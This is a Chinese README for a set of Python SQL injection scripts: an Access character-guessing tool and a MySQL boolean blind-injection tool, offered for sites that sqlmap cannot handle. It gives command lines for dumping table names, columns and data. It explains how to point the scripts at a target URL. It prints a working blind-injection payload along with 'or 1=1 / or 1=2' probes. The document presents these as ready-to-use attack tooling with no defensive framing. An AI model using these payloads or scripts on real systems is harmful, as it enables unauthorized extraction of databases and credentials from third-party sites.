解决sqlmap不能跑的站点,并且手工注入又会消耗大量的时间和精力的情况。
Blog : http://admintony.com/ACCESS注入之逐字猜解法-Python工具.html
python3 inj.py -u Url --tables --keyword=true_page_keyword [--thread=20] #爆表名,--thread参数可选,默认为10 python3 inj.py -u Url -T table_name --columns --keyword=true_page_keyword [--thread=20] #爆表名 python3 inj.py -u Url -T table_name -C col_name1,col_name2... --dump --keyword=keyword[--thread=20] #爆数据
Blog : http://admintony.com/基于布尔盲注的脚本编写实例.html
1>第一处
#Target URL url = "http://targetURL//index.php?a=index&f=ilist&p=" #keyword 用于判断页面是否正确 keyword ="keyword"
将代码开头的URL和keyword修改
注意:
keyword 为http://targetURL/index.php?p=-1 or 1=1 和 http://targetURL/index.php?p=-1 or 1=2 页面中只出现在前者页面而不出现在后者页面中的值
URL 中存在注入的参数放到最后,并且不跟参数值,程序会自动加上参数值
2>第二处:需要使用什么功能就把什么功能的代码注释取消即可,至于该改的table_name,column_name自己改一下
info = Info() #注入当前数据库的用户 #info.user() #注入数据库的版本 #info.version() #注入当前数据库的名字 #info.database() #注入表名 #run() #注入列名 run_column("shi_user") #注入数据 #columnL = ["uid","pwd"] #run_value("pw_user",*columnL)``` 3>爆列中数据的时候,列名请填写两个,在程序写死了,如果需要多个列名请修改第334行代码: e.g.三个列 ```python payload = "-1 or ascii(substr((select concat(%s,0x7c,%s,0x7c,%s) from %s limit %s,1),%s,1))=%s" \ % (self.column[0],self.column[1],self.column[2],self.table, self.i, x, n)
########### ├── Readme.md // 帮助文档 ├── ACCESS-Injection // ACCESS的逐字猜解法脚本 │ ├── injection.py //主程序 │ ├── table.txt //常用表名,来自sqlmap │ ├── column.txt //常用列名,来自sqlmap ├── MYSQL-Bind-injection //mysql基于布尔盲注的脚本 │ ├── injection.py //主程序